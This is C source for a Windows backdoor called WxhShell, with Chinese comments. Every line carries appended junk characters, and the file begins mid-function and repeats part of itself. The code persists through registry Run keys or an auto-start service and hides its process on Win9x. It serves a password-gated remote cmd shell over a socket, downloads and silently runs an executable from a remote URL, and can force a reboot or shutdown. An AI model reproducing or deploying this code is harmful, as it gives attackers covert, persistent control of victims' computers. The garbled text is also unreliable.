    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E!I4I'  
    else { .Dr7YquW  
    closesocket(wsh); v yP_qG  
    ExitThread(0); td#m>S  
    } +yHzp   
    break; +,D82V7S  
    } WCp[6g&%O  
  // 获取shell PM {L}tEQ  
  case 's': { :X*uE^bH  
    CmdShell(wsh); l?;ReK.r  
    closesocket(wsh); f9n4/(C y  
    ExitThread(0); )oS~ish  
    break; d{C8}U  
  } U2JxzHXZ  
  // 退出 y>RqA *J  
  case 'x': { j{zVVT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ja@ ?.gW  
    CloseIt(wsh); C|QJQ@bj0  
    break; `X`|]mWj  
    } kYd=DY  
  // 离开 rj5)b:c}  
  case 'q': { 8R;E+B{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BMhuM~?(  
    closesocket(wsh); rmI@ #'  
    WSACleanup(); 0XL[4[LdA  
    exit(1); \nQEvcH  
    break; EVbDI yFn  
        } Uf$IH!5;Z  
  } ?/p."N:]H  
  } 0E&XD&D  
+.hJ[|F1&  
  // 提示信息 (Pt*|@i2c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _&xkj8O  
} fAvB!e  
  } HlX7A 1i/  
6(HJYa  
  return; L+)mZb&  
} qZSW5lC0  
:/NP8$~@j  
// shell模块句柄 eA/}$.R  
int CmdShell(SOCKET sock) a6o p  
{ A?c?(~9O  
STARTUPINFO si; Gs}lw'pK  
ZeroMemory(&si,sizeof(si)); jg3['hTJT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a\I`:RO=<Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y"nC T3  
PROCESS_INFORMATION ProcessInfo; Mz6|#P}.s  
char cmdline[]="cmd"; lx~mn~;x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lt}U,p,S  
  return 0; ra\|c>[%  
} I,lzyxRP  
An !i  
// 自身启动模式 @{880 5Dp  
int StartFromService(void) sM%.=~AN  
{ cACnBgLl  
typedef struct OL#RkD  
{ [dXRord  
  DWORD ExitStatus; ]}A yDy6C  
  DWORD PebBaseAddress; DAd$u1  
  DWORD AffinityMask; {|@N~c+  
  DWORD BasePriority; Wy$Q!R=i  
  ULONG UniqueProcessId; \G1(r=fU  
  ULONG InheritedFromUniqueProcessId; /M_kJe,%  
}   PROCESS_BASIC_INFORMATION; DRi/<  
n L!nzA  
PROCNTQSIP NtQueryInformationProcess; XpOQBXbt  
HM\gOz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %w6lNl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e9?y0vT//  
rHgrC MW  
  HANDLE             hProcess; 9'JkLgz;d+  
  PROCESS_BASIC_INFORMATION pbi; o/\z4Ri)$  
h$fC/Juit  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !^A t{[U  
  if(NULL == hInst ) return 0; 2O9OEZdKB  
i{/nHrN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); woK?td|/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7PI|~Ifi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g/soop\:  
px_%5^zRQ  
  if (!NtQueryInformationProcess) return 0; BRMR> ~k(  
C/pu]%n@4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^kpu9H  
  if(!hProcess) return 0; &]/.=J  
<3Hu(Jx<O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iD9hqiX&  
%|3UWN  
  CloseHandle(hProcess); Eh f{Kl  
V?cUQghHg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =p';y&   
if(hProcess==NULL) return 0; rhvsd2 zi  
6T~xjAuJ3T  
HMODULE hMod; SYTzJK@vZJ  
char procName[255]; rW3fd.;kss  
unsigned long cbNeeded;  /=7[Q  
^zaN?0%S33  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @;z}Hk0A  
'GcZxF0  
  CloseHandle(hProcess); aG\B?pn-  
6e;.}i  
if(strstr(procName,"services")) return 1; // 以服务启动 \<A@Nf"  
|4a#O8d  
  return 0; // 注册表启动 c^8y/wfok  
} }' t*BaU  
~UJ_Rr54  
// 主模块 KcjP39@I  
int StartWxhshell(LPSTR lpCmdLine) I*K~GXWs#  
{ DavG=kvd  
  SOCKET wsl; th*E"@  
BOOL val=TRUE; JEes'H}Y  
  int port=0; z '%Vy  
  struct sockaddr_in door; ?5 d3k%  
5ERycC y  
  if(wscfg.ws_autoins) Install(); C zvi':  
WChJ <[]W  
port=atoi(lpCmdLine); <kmn3w,vi  
w~g)Dz2G  
if(port<=0) port=wscfg.ws_port; `4 A%BKYB  
6y9#am?  
  WSADATA data; ),)]gw71QW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [e'Ts#($A  
f/qG:yTV`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Sf\mg4,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oa|nQ`[  
  door.sin_family = AF_INET; fhmq O0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fm\IQqIK%  
  door.sin_port = htons(port); pJ5Sxgv{;  
DFt1{qS8@u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K(HP PM\  
closesocket(wsl); ,tL<?6_  
return 1; L[*Xrp;/&  
} I.\fhNxHY  
/^\6q"'  
  if(listen(wsl,2) == INVALID_SOCKET) { 'DQKpk'  
closesocket(wsl); (v8jVbg  
return 1; m>6,{g)  
} pemb2HQ'4j  
  Wxhshell(wsl); S0Y$$r  
  WSACleanup(); u#Qd `@p  
/ %U+kW  
return 0; a ^b_&}y  
Bn/ {J  
} GV([gs  
igsJa1F  
// 以NT服务方式启动 X &6p_Lo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *eytr#0B-  
{ [x 5T7=  
DWORD   status = 0; >LwZ"IE V  
  DWORD   specificError = 0xfffffff; T)]5k3{  
Pz1pEyuL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2, ` =i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [L,Tf_t^Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,r{\aW@  
  serviceStatus.dwWin32ExitCode     = 0; /AP@Bhm  
  serviceStatus.dwServiceSpecificExitCode = 0; F"3PP ~  
  serviceStatus.dwCheckPoint       = 0; oToUpkAI  
  serviceStatus.dwWaitHint       = 0; R1FBH:Iu  
_{6QvD3kg.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X/TuiKe  
  if (hServiceStatusHandle==0) return; [(Pm\o  
@twClk.s  
status = GetLastError(); (yCF pb  
  if (status!=NO_ERROR) #|34(ML  
{ ;z>)&F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hX]vZR&R  
    serviceStatus.dwCheckPoint       = 0; `bffw:; %  
    serviceStatus.dwWaitHint       = 0; =LS?:Mhm  
    serviceStatus.dwWin32ExitCode     = status; : \w\K:  
    serviceStatus.dwServiceSpecificExitCode = specificError; @ Sw[+`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0*q&)  
    return; c?CjJ}-7  
  } 9Ay*'   
_rK}~y=0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b&Qj`j4]ZM  
  serviceStatus.dwCheckPoint       = 0; jnX9] PkJ  
  serviceStatus.dwWaitHint       = 0; )G0a72  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iU\WV  
} %J?;@ G)r  
|?SK.1pW  
// 处理NT服务事件,比如:启动、停止 -U(T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) < Vr"  
{ |Gb"%5YD  
switch(fdwControl) x5k6yHn  
{ % ^g BDlR^  
case SERVICE_CONTROL_STOP: Y0=qn'`.  
  serviceStatus.dwWin32ExitCode = 0; ` IiAtS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _YY:}'+  
  serviceStatus.dwCheckPoint   = 0; *?K3jy{  
  serviceStatus.dwWaitHint     = 0; hp!UW  
  { `ej  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2;NIUMAMM  
  } v"Fa_+TVx  
  return; GmB7@-[QA%  
case SERVICE_CONTROL_PAUSE: b,8W |  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Pm6/sO  
  break; lN)U8  
case SERVICE_CONTROL_CONTINUE: cejSGsW6q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C XZm/^  
  break; n0kBLn  
case SERVICE_CONTROL_INTERROGATE: -82Rz   
  break; zo&'2I  
}; _H|x6X1-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |<P]yn  
} `AeId/A4n  
`(<XdlOj  
// 标准应用程序主函数 u<./ddC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9. Q;J#;1  
{ (t1:2WY@  
1"009/|   
// 获取操作系统版本  cpp0Y^  
OsIsNt=GetOsVer(); xCD|UC46?X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [XjJsk,  
<*~vZT i(  
  // 从命令行安装 Q i#%&Jz>f  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z16G  
WaQCq0Enj  
  // 下载执行文件 /NaI Mo 5  
if(wscfg.ws_downexe) { c$Js<[1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?&ThMWl  
  WinExec(wscfg.ws_filenam,SW_HIDE); |_8- 3  
} cOth q87:  
6$w)"Rq  
if(!OsIsNt) { y iE[^2Pv  
// 如果时win9x,隐藏进程并且设置为注册表启动 FJgr=9>  
HideProc(); &Jv j@,>$d  
StartWxhshell(lpCmdLine); wX" 6 S:  
} 5zX;/n~  
else /i$E|[  
  if(StartFromService()) _`|Hk2O  
  // 以服务方式启动 gR"'|c   
  StartServiceCtrlDispatcher(DispatchTable); bWo-( qxq  
else 2c@R!*  
  // 普通方式启动 5b R;R{:x  
  StartWxhshell(lpCmdLine); f@Rn&&-  
:f?\ mVS+  
return 0; mdR:XuRD"t  
} |S|0'C*  
~T9%%W[  
R$4&>VBu  
E$; =*0w  
=========================================== oJbD|m  
wIz<Y{HA=  
.a1WwI  
]d}Z2I'  
<ZxxlJS)6  
k:Sxs+)?1  
" (m4`l_  
2Otd  
#include <stdio.h> W)ihk\E  
#include <string.h> sH(4.36+  
#include <windows.h> r.0IC*Y  
#include <winsock2.h> Q\ TawRK8  
#include <winsvc.h> /<vbv  
#include <urlmon.h> 3:X3n\z  
m+||t  
#pragma comment (lib, "Ws2_32.lib") >xws  
#pragma comment (lib, "urlmon.lib") gEbe6!; q3  
a H'iW)  
#define MAX_USER   100 // 最大客户端连接数 QpwOrxI}  
#define BUF_SOCK   200 // sock buffer {$)zC*l  
#define KEY_BUFF   255 // 输入 buffer r5> FU>7'  
oE[wOq +  
#define REBOOT     0   // 重启 j<>E Fd  
#define SHUTDOWN   1   // 关机 #ok1qT9_  
A&rk5y;  
#define DEF_PORT   5000 // 监听端口 O7 %<(  
&duWV6Acw  
#define REG_LEN     16   // 注册表键长度 XYhN;U}Z  
#define SVC_LEN     80   // NT服务名长度 at]=SA  
0m $f9b|Q?  
// 从dll定义API B> *zQb2:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "<H.F 87Z)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -"[o|aa^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |} ;&xI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X:bv ?o>Y  
~q4KQ&.!  
// wxhshell配置信息 %bgjJ`  
struct WSCFG { "i_I<?aGB  
  int ws_port;         // 监听端口 ~+}w>jIm{|  
  char ws_passstr[REG_LEN]; // 口令 S#6{4x4  
  int ws_autoins;       // 安装标记, 1=yes 0=no Fxdu)F,~u  
  char ws_regname[REG_LEN]; // 注册表键名 z %{Z  
  char ws_svcname[REG_LEN]; // 服务名 e`zx#v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oa$-o/DhB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {m~.'DU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \7rFfN3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c[J(H,mt/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 16ahU$@-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~A2{$C  
 \B) a57  
}; mIgc)"  
+>h}Uz  
// default Wxhshell configuration {I0b%>r=  
struct WSCFG wscfg={DEF_PORT, +?Vj}p;  
    "xuhuanlingzhe", q&OF?z7H  
    1, u+%Ca,6  
    "Wxhshell", /~[+'  
    "Wxhshell", $mOVo'2  
            "WxhShell Service", 4^cDp!8  
    "Wrsky Windows CmdShell Service", g"aWt% P  
    "Please Input Your Password: ", ^F2 OTz4n  
  1, $51M' Qu  
  "http://www.wrsky.com/wxhshell.exe", 6t/nM  
  "Wxhshell.exe" ?,uTH 4  
    }; _L 5<  
yW5/Y02  
// 消息定义模块 f.8Jp<S2K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mW~t/$Y$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5SPhdpIg@[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F5la:0fb  
char *msg_ws_ext="\n\rExit."; !=%0  
char *msg_ws_end="\n\rQuit."; )rcFBD{vM  
char *msg_ws_boot="\n\rReboot..."; \Jm fQrBQ  
char *msg_ws_poff="\n\rShutdown..."; A/V"&H[  
char *msg_ws_down="\n\rSave to "; /{@^h#4M1  
</! `m8\  
char *msg_ws_err="\n\rErr!"; ^f*}]`S  
char *msg_ws_ok="\n\rOK!"; 1{D_30sG.  
M &`ZF  
char ExeFile[MAX_PATH]; zj:= 9$  
int nUser = 0; !lQGoXQ'4  
HANDLE handles[MAX_USER]; D+edTAQ8  
int OsIsNt; YuufgPE*H  
i4;`dCT|A  
SERVICE_STATUS       serviceStatus; OiBDI3,|+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o zg%-  
ZslH2#   
// 函数声明 k\->uSU9  
int Install(void); V6l~Aj}/  
int Uninstall(void); :'1UX <&B  
int DownloadFile(char *sURL, SOCKET wsh); lO=+V 6  
int Boot(int flag); MO}J  
void HideProc(void); dQP7CP  
int GetOsVer(void); }?[^q  
int Wxhshell(SOCKET wsl); 74f3a|vx/  
void TalkWithClient(void *cs); 0-Z sV3I&  
int CmdShell(SOCKET sock); )Dn~e#  
int StartFromService(void); V)x(\ls]SX  
int StartWxhshell(LPSTR lpCmdLine); qkQ _#  
E.~;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a(Q4*XH4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =2+';Xk\  
81?7u!=ic+  
// 数据结构和表定义 x~1.;dBF  
SERVICE_TABLE_ENTRY DispatchTable[] = T'YHV}b}vX  
{ xX;@ BS  
{wscfg.ws_svcname, NTServiceMain}, X^204K%:  
{NULL, NULL} _<Hx1l~  
}; ifA=qn0=}  
^Ej4^d  
// 自我安装 m ,B,dqT  
int Install(void) iV+'p->/  
{ RSL%<  
  char svExeFile[MAX_PATH]; Jt-s6-2  
  HKEY key; -^A=U7  
  strcpy(svExeFile,ExeFile); _`RzPIS^  
}m '= _u  
// 如果是win9x系统,修改注册表设为自启动 oh%kuO T[  
if(!OsIsNt) { $E=t6WvA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P "S=RX#+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >)5=6{x  
  RegCloseKey(key); 2 uuI_9 "^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >y P`8Oq[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2kv%k3 Q{  
  RegCloseKey(key); .-kqt^Gc  
  return 0; PqOy"HO  
    } 5<0d2bK$  
  } \)?mIwo7~  
} L|sWSrqd  
else { Ub1?dk   
Y-8qAF?SJ]  
// 如果是NT以上系统,安装为系统服务 5Gj?'Wov9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _-NS-E  
if (schSCManager!=0) 6 yIl)5/=  
{ WW.\5kBl8  
  SC_HANDLE schService = CreateService $`nKq4Y   
  ( T9 @^@l$  
  schSCManager, i?7%z`  
  wscfg.ws_svcname, {HgW9N(  
  wscfg.ws_svcdisp, re.%$D@  
  SERVICE_ALL_ACCESS, s3G\L<~mB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , = mn jIp  
  SERVICE_AUTO_START, m~K[+P  
  SERVICE_ERROR_NORMAL, HSt|Ua.c/h  
  svExeFile, kBPFk t2  
  NULL, m7:E7 3:  
  NULL, Salu[)+?  
  NULL, [\9WqHs  
  NULL, E\M{/.4 4  
  NULL DNgQ.lV  
  ); wp/u*g  
  if (schService!=0) 4fDo}~  
  { ' pE %'8R  
  CloseServiceHandle(schService); )B d`N^k+  
  CloseServiceHandle(schSCManager); FV[6">;g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1'|6IR1'  
  strcat(svExeFile,wscfg.ws_svcname); )g4oUZDF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IB wqu w+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vFfvvRda4x  
  RegCloseKey(key); Z=: oIAe  
  return 0; JCIm*6~  
    } <`dF~   
  } qZ!1>`B  
  CloseServiceHandle(schSCManager); \!UNa le  
} S"|sD|xOb  
} &77]h%B >  
y$)gj4k/D  
return 1; Q9K+k*?{N  
} 0F'75  
CK e  
// 自我卸载 ]{9oB-;,  
int Uninstall(void) `Tzq vnn  
{ 5H6GZ:hp  
  HKEY key; l3aG#4jj  
[7Nn%eZC  
if(!OsIsNt) { W7N Hr5RC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7YRDQjg  
  RegDeleteValue(key,wscfg.ws_regname); =q|fe%#  
  RegCloseKey(key); uTJi }4cw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D#%J||  
  RegDeleteValue(key,wscfg.ws_regname); QN(f8t(  
  RegCloseKey(key); &%pB; dk  
  return 0; #( nheL  
  } X$JO<@x  
} {nQ}t }B  
} 1A23G$D  
else { VmQ7M4j*  
#SY8Zv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X7kJWX  
if (schSCManager!=0) ;>=hQC{f>  
{ XA])<dZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +DKrX  
  if (schService!=0) |Y<ca   
  { ^F*)Jq  
  if(DeleteService(schService)!=0) { F~d !Ub$>  
  CloseServiceHandle(schService); Zn3iLAPBX  
  CloseServiceHandle(schSCManager); QnxkD)f*0  
  return 0; gb:Cc,F,%  
  } K/[v>(<  
  CloseServiceHandle(schService); 4~a0   
  } Pyi PhOJe  
  CloseServiceHandle(schSCManager); \3q{E",\>@  
} m@JU).NKCS  
} !W:QLOe6F  
Rn{q/h  
return 1; 2h&pm   
} ;J\{r$q  
BN4dr9T  
// 从指定url下载文件 )<.S 3  
int DownloadFile(char *sURL, SOCKET wsh) pb%#`2"  
{ 3Gn2@`GC  
  HRESULT hr; 9BANCW"  
char seps[]= "/"; HkvCQH  
char *token; c7\bA7.  
char *file; if5Y!Tx?G  
char myURL[MAX_PATH]; _| 8"&*T^  
char myFILE[MAX_PATH]; jTw s0=F*  
wri[#D {  
strcpy(myURL,sURL); zJ9ZqC]  
  token=strtok(myURL,seps); z!Kadqns  
  while(token!=NULL) hl~(&D1^  
  { ;$i9gP[|m  
    file=token; @ x*#7Y  
  token=strtok(NULL,seps);  v )7d  
  } (I.uQP~H  
Cu;X{F'H  
GetCurrentDirectory(MAX_PATH,myFILE); q1dYiG.-Z  
strcat(myFILE, "\\"); 5, Yk5?l<'  
strcat(myFILE, file); v,>F0ofJ  
  send(wsh,myFILE,strlen(myFILE),0); aic6,>\!'  
send(wsh,"...",3,0); {>FA ~}cX.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &P3B  
  if(hr==S_OK) B_5q}Bp<  
return 0; Wr)% C  
else >mF`XbS  
return 1; 8KWT d  
`?JrC3  
} #<'/s qL  
N83RsL "}_  
// 系统电源模块 :o}7C%Q8  
int Boot(int flag) P >N\q  
{ 6%S>~L66  
  HANDLE hToken; ^ioTd  
  TOKEN_PRIVILEGES tkp; uFdSD  
\((>i7C  
  if(OsIsNt) { ^J% w[FE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #UND'c(5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <2cq 0*$  
    tkp.PrivilegeCount = 1; l}Xmm^@)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [JAd1%$3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h]EXD   
if(flag==REBOOT) { N[pk@M\vX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tW=0AtZl]  
  return 0; Kg]( kP  
} XVv7W5/q]  
else { /v!H{Zw=c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .j&jf^a5  
  return 0; 2:DpnLU5  
} C)C;U&Qd  
  } Kv#daAU  
  else { mOXI"q]p  
if(flag==REBOOT) { P`bR;2o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -nk%He  
  return 0; |e< U%v  
} It_yh #s  
else { t*}<v@,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8=nm`7(]  
  return 0; }p- %~ Y  
} 5Rec}H  
} RmNF]"3%  
^d=Z/d[  
return 1; {Zseu$c  
} ,}2j Fb9z4  
 %ANPv=  
// win9x进程隐藏模块 r*p%e\ 3  
void HideProc(void) NX=dx&i>+  
{ b&_p"8)_  
oNCDG|8z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fGe{7p6XV*  
  if ( hKernel != NULL ) i'5bPW  
  { 2Qk\}KWs  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (/KF;J^M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &0C!P=-p  
    FreeLibrary(hKernel); i{e<kKh  
  } (Iq\+@xE=  
33;|52$  
return; ;q^YDZ'  
} kXjpCtCu  
G/ ^|oJ/G  
// 获取操作系统版本 l|up3A3)  
int GetOsVer(void) L+kS8D<  
{ a0LX<}   
  OSVERSIONINFO winfo; "Q J-IRt &  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '+QgZ>q"  
  GetVersionEx(&winfo); #xo&#FIH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (@#Lk"B  
  return 1; +es6c')  
  else %4-pw|':  
  return 0; hBqu,A  
} U&/S  
>S3 >b  
// 客户端句柄模块 <A&R%5Vs  
int Wxhshell(SOCKET wsl) *oWzH_  
{ =N0cz%  
  SOCKET wsh; =~S   
  struct sockaddr_in client; o{Ep/O`  
  DWORD myID; uJ y@  
$Yxy(7d7w  
  while(nUser<MAX_USER) d!X?R}  
{ ]s S oIT  
  int nSize=sizeof(client); 2M1mdkP3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ky%%H;  
  if(wsh==INVALID_SOCKET) return 1; .R"L$V$RU.  
X5yhS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MtB:H*pM  
if(handles[nUser]==0) ;Dgp !*v=  
  closesocket(wsh); #P@r[VZ{6  
else Dm^kuTIG  
  nUser++; f:0n-me  
  } n%0vQ;Z1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _t[%@G>P  
!Yf0y;e|:  
  return 0; l85" C  
} 0cbF.Um8  
v%- V|L  
// 关闭 socket !{XO#e  
void CloseIt(SOCKET wsh) iTvCkb48m  
{ n 3]y$wK  
closesocket(wsh); Ol@ZH_  
nUser--; srkOa d  
ExitThread(0); gA|j\T{c  
} u^uG_^^,/  
7(;VUR%%.  
// 客户端请求句柄 qTGy\i  
void TalkWithClient(void *cs) {XCrjO|  
{ ~>R)H#mP7  
[<;2C  
  SOCKET wsh=(SOCKET)cs; `7A@\Ha3  
  char pwd[SVC_LEN]; NeEV !V8  
  char cmd[KEY_BUFF]; fpi6pcof  
char chr[1]; Q!{Dw :7  
int i,j; )1,&YJM*6l  
cOgtBEhn  
  while (nUser < MAX_USER) { iy"K g]  
/0uinx  
if(wscfg.ws_passstr) { eH8.O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &$Lm95  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iT"Itz-^#  
  //ZeroMemory(pwd,KEY_BUFF); *)1z-rH`  
      i=0; J#]y KgT  
  while(i<SVC_LEN) { 4\3t5n  
jayoARUB  
  // 设置超时 :<gk~3\  
  fd_set FdRead; GZt] 38V)g  
  struct timeval TimeOut; Jx<  
  FD_ZERO(&FdRead); -tdG} Gu  
  FD_SET(wsh,&FdRead); wp*1HnWj8Y  
  TimeOut.tv_sec=8; ( -@>  
  TimeOut.tv_usec=0; 6hq)yUvo4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LfApVUm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DPx,qM#h5O  
J;`~ !g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A{%;Hd`0/  
  pwd=chr[0]; -`UlntEdZ:  
  if(chr[0]==0xd || chr[0]==0xa) { s`YuH <8  
  pwd=0; F! e`i-xt  
  break; TbVL71c  
  } ^'4uTbxP_!  
  i++; m~eWQ_a]C@  
    } h6N}sLM{0  
"-?Y UY`  
  // 如果是非法用户,关闭 socket z-G (!]:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); am3E7u/  
} A~V\r<N j  
'[^2uQc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q ^rW^d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %5gJ6>@6Z  
-pu\p-Z  
while(1) { tW>R 16zq  
B;r$( 'UZ  
  ZeroMemory(cmd,KEY_BUFF); 9(WC#-,  
eHe /w9`$R  
      // 自动支持客户端 telnet标准   `qz5rPyZ  
  j=0; {eEWfMKIn  
  while(j<KEY_BUFF) { GcCs}(eo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _'U?!  
  cmd[j]=chr[0]; E;H(jVZ  
  if(chr[0]==0xa || chr[0]==0xd) { n #I}!x>2  
  cmd[j]=0; Kj 8 W  
  break; f:5/y^M&  
  } ,?6m"ov4(  
  j++; 5I,X#}K[  
    } ew$Z5N:  
AHY)#|/)  
  // 下载文件 q?4uH;h:^G  
  if(strstr(cmd,"http://")) { A5ID I<a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Uc0'XPo3I  
  if(DownloadFile(cmd,wsh)) ="R6YL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ie5ijkxZ(  
  else EIQy?ig86  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nn:pf1  
  } :q<%wLs  
  else { B [ ka@z7  
s.)w A`&&  
    switch(cmd[0]) { T+h{Aeg  
  FF~4y>R7u  
  // 帮助 neFno5dj  
  case '?': { {{%8|+B  
